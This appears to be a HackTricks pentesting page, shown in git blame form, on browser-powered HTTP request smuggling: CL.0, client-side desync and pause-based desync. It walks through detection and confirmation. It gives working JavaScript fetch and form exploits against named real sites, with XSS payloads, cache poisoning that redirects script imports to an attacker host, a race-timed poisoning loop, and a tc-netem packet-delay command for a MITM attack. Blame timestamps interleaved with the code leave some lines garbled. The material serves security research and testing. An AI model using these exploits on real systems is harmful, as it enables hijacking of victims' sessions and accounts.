hacktricks/pentesting-web/http-request-smuggling/browser-http-request-smuggling.md

341 lines
22 KiB
Markdown
Raw Normal View History

2022-08-21 22:53:18 +00:00
# Browser HTTP Request Smuggling
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
2022-09-30 10:43:59 +00:00
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
2022-08-21 22:53:18 +00:00
</details>
## CL.0/H2.0 browser-compatible desync
This vulnerability occurs when the **Content Length** (CL) header is being completely **ignored** by the **backend server**. Then, the back-end treats the **body** as the **start of the second request's method**. Ignoring the CL is equivalent to treating it as having a value of 0, so this is a CL.0 desync - a [known](https://i.blackhat.com/USA-20/Wednesday/us-20-Klein-HTTP-Request-Smuggling-In-2020-New-Variants-New-Defenses-And-New-Challenges.pdf) but lesser-explored attack class.
2022-09-30 10:43:59 +00:00
![](<../../.gitbook/assets/image (3) (1) (2).png>)
2022-08-21 22:53:18 +00:00
The attack was possible because the back-end server simply **wasn't expecting a POST request**.
{% hint style="warning" %}
Note that this vulnerability is being **triggered** by a completely **valid**, specification-compliant **HTTP request**. This meant the **front-end has zero chance of protecting** against it, and it could even be triggered by a browser.
{% endhint %}
The only **difference** between **CL.0** and **H2.0** is that the second one is using **HTTP2** (which has an implicit content-length header) but the **backend isn't using that either**.
## Client-Side Desync
Traditional desync attacks **poison** the **connection** between a **front-end and back-end** server, and are therefore impossible on websites that don't use a front-end/back-end architecture. These are **server-side desync** from now on. Most **server-side desyncs** can only be triggered by a **custom HTTP client issuing a malformed request.**
The ability for a **browser to cause a desync** enables a whole new class of threat called **client-side desync** (CSD).\
A CSD attack starts with the **victim visiting the attacker's website**, which then makes their browser send **two cross-domain requests to the vulnerable website**. The **first** request is crafted to **desync the browser's connection** and make the **second request trigger** a harmful response, typically giving the attacker control of the victim's account.
### Detect
A CSD vector is a HTTP request with **two** **key** properties.
First, the **server must ignore the request's Content-Length (CL)**. This typically happens because the request either **triggered a server error**, or the server simply **wasn't expecting a POST request** to the chosen endpoint. Try targeting **static files** and **server-level redirects**, and triggering errors via **overlong-URLs**, and **semi-malformed** ones like /%2e%2e.
Secondly, the request must be **triggerable in a web-browser cross-domain**. Browsers severely restrict control over cross-domain requests, so you have limited control over headers, and if your request has a body you'll need to use the HTTP POST method. Ultimately you only **control** the **URL**, plus a few odds and ends like the **Referer header**, the **body**, and **latter part of the Content-Type.**
#### CL ignore testing
The way to test this missconfig is to **send 2 requests and smuggle one** in the **middle**. If the **smuggled** connection **affected** the response of the **second** **request**, it means that it's **vulnerable**:
2022-10-22 15:26:54 +00:00
![](<../../.gitbook/assets/image (1) (2) (2).png>)
2022-08-21 22:53:18 +00:00
{% hint style="warning" %}
Note that you **cannot** test this vuln by just sending a **Content-Length bigger** than the one sent and **looking for a timeout** because some servers **respond** even if they **didn't receive the whole body**.
{% endhint %}
It's important to note whether the **target website supports HTTP**/2. CSD attacks typically exploit HTTP/1.1 connection reuse and web **browsers prefer to use HTTP/2** whenever possible, so if the target **website supports HTTP/2 your attacks are unlikely to work**. There's one **exception**; some **forward proxies don't support HTTP/2** so you can exploit anyone using them. This includes corporate proxies, certain intrusive VPNs and even some security tools.
### Confirm
First, select a site to launch the attack from. This site must be **accessed over HTTPS** and located on a **different domain than the target**.
Next, ensure that you **don't have a proxy configured**, then browse to your attack site. Open the **developer tools** and switch to the **Network tab**. To help with debugging potential issues later, I recommend making the following adjustments:
* Select the **"Preserve log"** checkbox.
* Right-click on the column headers and **enable the "Connection ID" column**.
Switch to the developer console and execute JavaScript to replicate your attack sequence using fetch(). This may look something like:
```javascript
fetch('https://example.com/', {
method: 'POST',
body: "GET /hopefully404 HTTP/1.1\r\nX: Y", // malicious prefix
mode: 'no-cors', // ensure connection ID is visible
credentials: 'include' // poison 'with-cookies' pool
}).then(() => {
location = 'https://example.com/' // use the poisoned connection
})
```
I've set the fetch mode **'no-cors'** to ensure Chrome **displays the connection ID** in the Network tab. I've also set **credentials: 'include'** as Chrome has [**two separate connection pools**](https://www.chromium.org/developers/design-documents/network-stack/preconnect) - one for requests with cookies and one for requests without. You'll usually want to exploit **navigations**, and those **use the 'with-cookies' pool**, so it's worth getting into the habit of always poisoning that pool.
When you execute this, you should see **two requests** in the Network tab with the **same connection ID**, and the **second** one should trigger a **404**:
2022-09-30 10:43:59 +00:00
![](<../../.gitbook/assets/image (158) (2).png>)
2022-08-21 22:53:18 +00:00
If this works as expected, congratulations - you've found yourself a client-side desync!
### Exploitation - Store
One option is to identify functionality on the target site that lets you **store text data**, and craft the prefix so that your victim's cookies, authentication headers, or password end up being **stored somewhere you can retrieve them**. This attack flow works [almost identically to server-side request smuggling](https://portswigger.net/web-security/request-smuggling/exploiting#capturing-other-users-requests), so I won't dwell on it.
### Exploitation - **Chain\&pivot**
Under normal circumstances, many classes of **server-side attack** can only be launched by an attacker with direct access to the target website as they **rely on HTTP requests that browsers refuse to send**, like **tampering** with **HTTP headers** - web cache poisoning, most server-side request smuggling, host-header attacks, User-Agent based [SQLi](https://portswigger.net/web-security/sql-injection), CSRF JSON Content-type and numerous others.
The simplest path to a successful attack came from two key techniques usually used for server-side desync attacks: [**JavaScript resource poisoning via Host-header redirects**](https://portswigger.net/web-security/request-smuggling/exploiting#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect), and using the [**HEAD method**](https://portswigger.net/web-security/request-smuggling/advanced/request-tunnelling#non-blind-request-tunnelling-using-head) to splice together a response with harmful HTML. Both techniques needed to be **adapted** to overcome some novel challenges associated with operating in the **victim's browser**.
## Exploit Examples
### Stacked HEAD example
2022-08-22 23:31:50 +00:00
* **Coloured exploit**
2022-08-21 22:53:18 +00:00
2022-08-31 17:18:31 +00:00
![](<../../.gitbook/assets/image (2) (3).png>)
2022-08-21 22:53:18 +00:00
* **JS exploit**
```javascript
fetch('https://www.capitalone.ca/assets', {
method: 'POST',
2022-08-23 21:40:13 +00:00
// use a cache-buster to delay the response
body: `HEAD /404/?cb=${Date.now()} HTTP/1.1\r\nHost: www.capitalone.ca\r\n\r\nGET /x?x=<script>alert(1)</script> HTTP/1.1\r\nX: Y`,
credentials: 'include',
mode: 'cors' // throw an error instead of following redirect
2022-08-21 22:53:18 +00:00
}).catch(() => {
2022-08-23 21:40:13 +00:00
location = 'https://www.capitalone.ca/'
2022-08-21 22:53:18 +00:00
})va
```
Explanation:
* **Abuse of CL.0** in /assets (it redirects to /assets/ and doesn't check the CL)
* **Smuggle** a **HEAD** request (because HEAD responses still contains a content-length)
* **Smuggle** a **GET** request whose **content** is going be **reflected** in the response with the payload.
* Because of the **content-length of the HEAD** req, the **response** of this request will be the **body of the HEAD req**
* Set **cors mode**. Normally this isn't done, but in this case the **response** of the server to de **initial** **POST** is a **redirect** that if **followed** the **exploit won't work**. Therefore, **cors mode** is used to **trigger** an **error** and **redirect** the victim with the **`catch`**.
### **Host header redirect + client-side cache poisoning**
2022-08-22 23:31:50 +00:00
* **JS exploit**
```javascript
fetch('https://redacted/', {
method: 'POST',
body: "GET /+webvpn+/ HTTP/1.1\r\nHost: x.psres.net\r\nX: Y",
credentials: 'include'}
).catch(() => { location='https://redacted/+CSCOE+/win.js' })
```
* A request to `/+webvpn+/` with a **different domain in the Host header** is answered with a **redirect** to `/+webvpn+/index.html` to that **domain** inside the Host header.
* The location in the **second** request is set to `/+CSCOE+/win.js` in order to **poison** the **cache** of that `.js` file.
* This request will be answered with the redirect of `/+webvpn+/` to the attackers domain with path`/+webvpn+/index.html`
* The **cache** of **`win.js`** will be **poisoned** with a **redirect** to the **attackers** page, but also the **victim** will **follow** the redirect as it was assigned in the `location` variable and will end in the attackers web page.
2022-09-30 10:43:59 +00:00
* The attacker will then **redirect** the **victim** to `https://redacted/+CSCOE+/logon.html`. This page will import `/+CSCOE+/win.js`. Whose **cache is a redirect** to the **attackers** server, therefore, the attacker can **respond with a malicious JS**.
2022-08-22 23:31:50 +00:00
The **victim** will **access** the page of the **attacker** **twice**, the first one it **expects a HTML** that redirect the victim back to `https://redacted/+CSCOE+/logon.html` and the second one it **expects javascript code** (the payload). A polyglot can be used to serve both responses in just one:
```
HTTP/1.1 200 OK
Content-Type: text/html
alert('oh dear')/*<script>location = 'https://redacted/+CSCOE+/logon.html'</script>*/
```
### HEAD payload with chunked TE
When looking for CSD you can also **test semi-malformed** URLs like `/..%2f` or `/%2f`.
* **Coloured Exploit**
2022-09-02 15:27:38 +00:00
![](<../../.gitbook/assets/image (5) (2) (1).png>)
2022-08-22 23:31:50 +00:00
* **JS Exploit**
```javascript
fetch('https://www.verisign.com/%2f', {
method: 'POST',
body: `HEAD /assets/languagefiles/AZE.html HTTP/1.1\r\nHost: www.verisign.com\r\nConnection: keep-alive\r\nTransfer-Encoding: chunked\r\n\r\n34d\r\nx`,
credentials: 'include',
headers: {'Content-Type': 'application/x-www-form-urlencoded'
}}).catch(() => {
let form = document.createElement('form')
form.method = 'POST'
form.action = 'https://www.verisign.com/robots.txt'
form.enctype = 'text/plain'
let input = document.createElement('input')
input.name = '0\r\n\r\nGET /<svg/onload=alert(1)> HTTP/1.1\r\nHost: www.verisign.com\r\n\r\nGET /?aaaaaaaaaaaaaaa HTTP/1.1\r\nHost: www.verisign.com\r\n\r\n'
input.value = ''
form.appendChild(input)
document.body.appendChild(form)
form.submit()
}
```
* The page **`/%2f`** is accessed to **exploit** the **CL.0** vulnerability.
* A **HEAD** request is smuggled using a **`Transfer-Encoding: chunked` header**.
* This header is needed in this scenario because otherwise the **server refused to accept a HEAD request with a body**.
* Then, the user sends a POST whose body contains the **end chunk of the the previous HEAD** request and a **new request that is smuggled** with **content** (the JS payload) that will be **reflected** in the response.
* Therefore the browser will treat the **response to the HEAD** request as the **response to the POST request** which will also **contains** in the **body** response that **reflects** the **input** of the user in the second smuggled request.
2022-08-22 23:59:25 +00:00
### Host header redirect + RC
* **JS Exploit**
```html
<script>
function reset() {
2022-08-23 21:40:13 +00:00
fetch('https://vpn.redacted/robots.txt',
{mode: 'no-cors', credentials: 'include'}
).then(() => {
2022-08-22 23:59:25 +00:00
x.location = "https://vpn.redacted/dana-na/meeting/meeting_testjs.cgi?cb="+Date.now()
})
setTimeout(poison, 120) // worked on 140. went down to 110
}
function poison(){
sendPoison()
sendPoison()
sendPoison()
setTimeout(reset, 1000)
}
function sendPoison(){
fetch('https://vpn.redacted/dana-na/css/ds_1234cb049586a32ce264fd67d524d7271e4affc0e377d7aede9db4be17f57fc1.css',
{
method: 'POST',
body: "GET /xdana-na/imgs/footerbg.gif HTTP/1.1\r\nHost: x.psres.net\r\nFoo: '+'a'.repeat(9826)+'\r\nConnection: keep-alive\r\n\r\n",
mode: 'no-cors',
credentials: 'include'
}
)
}
</script>
<a onclick="x = window.open('about:blank'); reset()">Start attack</a>
```
In this case, again, there is a **host header** **redirect** that could be used to **hijack** a **JS** import. However, this time the **redirect isn't cacheable**, so client-side **cache** **poisoning** isn't an option.
Therefore, the attack performed will make the **victim access the vulnerable page** in a tab and then, just **before** the page tries to **load a JS** file, **poison** the socket **smuggling connections** (3 in this case).\
Because the **timing** has to be extremely **precise**, the attack is performed against a **new tab on each iteration** until it works.
{% hint style="warning" %}
Keep in mind that in this case `/meeting_testjs.cgi` was attacked because it **loads** a **Javascript** that is responding with a **404**, so it's not cached. In other scenarios where you try to attack a **JS that is cached** you need to wait for it to **disappear from the cache** before launching a new attack.
{% endhint %}
Summary steps:
* Open a new window.
* Issue a harmless request to the target to establish a fresh connection, making timings more consistent.
* Navigate the window to the target page at /meeting\_testjs.cgi.
* 120ms later, create three poisoned connections using the redirect gadget.
* 5ms later, while rendering /meeting\_testjs.cgi the victim will hopefully attempt to import /appletRedirect.js and get redirected to x.psres.net, which serves up malicious JS.
* If not, retry the attack.
## Pause-based desync <a href="#pause" id="pause"></a>
2022-08-23 21:40:13 +00:00
Pausing can also create new desync vulnerabilities by **triggering misguided request-timeout implementations**.
So, an attacker might send a request with **headers indicating that there is a body**, and then **wait** for the **front-end to timeout before sending the body**. If the front-end times out but **leaves the connection open**, the **body** of that request will be **treated as a new request**.
### Example: **Varnish**
Varnish cache has a feature called `synth()`, which lets you issue a **response without forwarding** the request to the back-end. Here's an example rule being used to block access to a folder:
```javascript
if (req.url ~ "^/admin") {
return (synth(403, "Forbidden"));
}
```
When processing a **partial request** that matches a synth rule, Varnish will **time out** if it receives no data for **15 seconds**. When this happens, it **leaves the connection open** for reuse even though it has only read half the request off the socket. This means that if the **client follows up with the second half** of the HTTP request, it will be interpreted as a **fresh request**.
To trigger a pause-based desync on a vulnerable front-end, start by sending your headers, promising a body, and then just wait. Eventually you'll receive a response and when you finally send send your request body, it'll be interpreted as a new request:
2022-09-02 14:27:43 +00:00
![](<../../.gitbook/assets/image (4) (3).png>)
2022-08-23 21:40:13 +00:00
{% hint style="warning" %}
Apparently this was patched on the 25th January as [CVE-2022-23959](https://varnish-cache.org/security/VSV00008.html).
{% endhint %}
### Example: **Apache**
Just like Varnish, it's vulnerable on **endpoints where the server generates the response itself** rather than letting the application handle the request. One way this happens is with server-level redirects: `Redirect 301 / /en`
### Server-side Exploitation <a href="#server" id="server"></a>
2022-08-22 23:59:25 +00:00
2022-08-23 21:40:13 +00:00
If the vulnerable server (Apache or Varnish in this case) is in the back-end, a **front-end** that **streams the request to the back-end** server (http headers in this case) **without buffering** the entire request body is needed.
2022-09-02 15:27:38 +00:00
![](<../../.gitbook/assets/image (3) (3).png>)
2022-08-23 21:40:13 +00:00
2022-09-30 10:43:59 +00:00
In this case the attacker **won't receive the response timeout until he has send the body**. But if he knows the timeout this shouldn't be a problem.
2022-08-23 21:40:13 +00:00
Amazon's Application Load Balancer (ALB) will **stream the data of the connection as needed**, but if it **receives** the **response** to the half request (the timeout) **before** receiving the **body**, it **won't send the body**, so a **Race Condition** must be exploited here:
2022-10-06 09:16:41 +00:00
<figure><img src="../../.gitbook/assets/image (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
2022-08-23 21:40:13 +00:00
There's an additional complication when it comes to **exploiting Apache behind ALB** - **both servers** have a default **timeout of 60 seconds**. This leaves an **extremely small time-window** to send the second part of the request. The RC attack was ultimately successful after 66 hours.
### MITM Exploitation
It's apparently **not possible to stop a request from the browser** in order to exploit a Pause-desync vulnerability. However, you could always **perform a MITM attack to pause a request** sent by the browser. Notice that this attack **doesn't rely on decrypting** any traffic.
The attack flow is very **similar to a regular client-side desync attack**. The user visits an attacker-controlled page, which issues a series of **cross-domain requests** to the target application. The **first HTTP** request is deliberately padded to be so **large** that the operating system **splits it into multiple TCP packets**, enabling an active **MITM to delay the final packet**, triggering a pause-based desync. Due to the padding, the **attacker** can **identify** which **packet to pause** simply based on the **size**.
From the client-side it looks like a regular client-side desync using the HEAD gadget, aside from the request padding:
```javascript
let form = document.createElement('form')
form.method = 'POST'
form.enctype = 'text/plain'
form.action = 'https://x.psres.net:6082/redirect?'+"h".repeat(600)+ Date.now()
let input = document.createElement('input')
input.name = "HEAD / HTTP/1.1\r\nHost: x\r\n\r\nGET /redirect?<script>alert(document.domain)</script> HTTP/1.1\r\nHost: x\r\nFoo: bar"+"\r\n\r\n".repeat(1700)+"x"
input.value = "x"
form.append(input)
document.body.appendChild(form)
form.submit()
```
On the attacker system performing the blind MITM, the delay was implemented using tc-NetEm:
```bash
# Setup
tc qdisc add dev eth0 root handle 1: prio priomap
# Flag packets to 34.255.5.242 that are between 700 and 1300 bytes
tc filter add dev eth0 protocol ip parent 1:0 prio 1 basic \
match 'u32(u32 0x22ff05f2 0xffffffff at 16)' \
and 'cmp(u16 at 2 layer network gt 0x02bc)' \
and 'cmp(u16 at 2 layer network lt 0x0514)' \
flowid 1:3
# Delay flagged packets by 61 seconds
tc qdisc add dev eth0 parent 1:3 handle 10: netem delay 61s
```
2022-08-22 23:59:25 +00:00
2022-08-21 22:53:18 +00:00
## **References**
2022-08-22 23:31:50 +00:00
* All the information of this post was taken from [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
2022-08-21 22:53:18 +00:00
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
2022-09-30 10:43:59 +00:00
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
2022-08-21 22:53:18 +00:00
</details>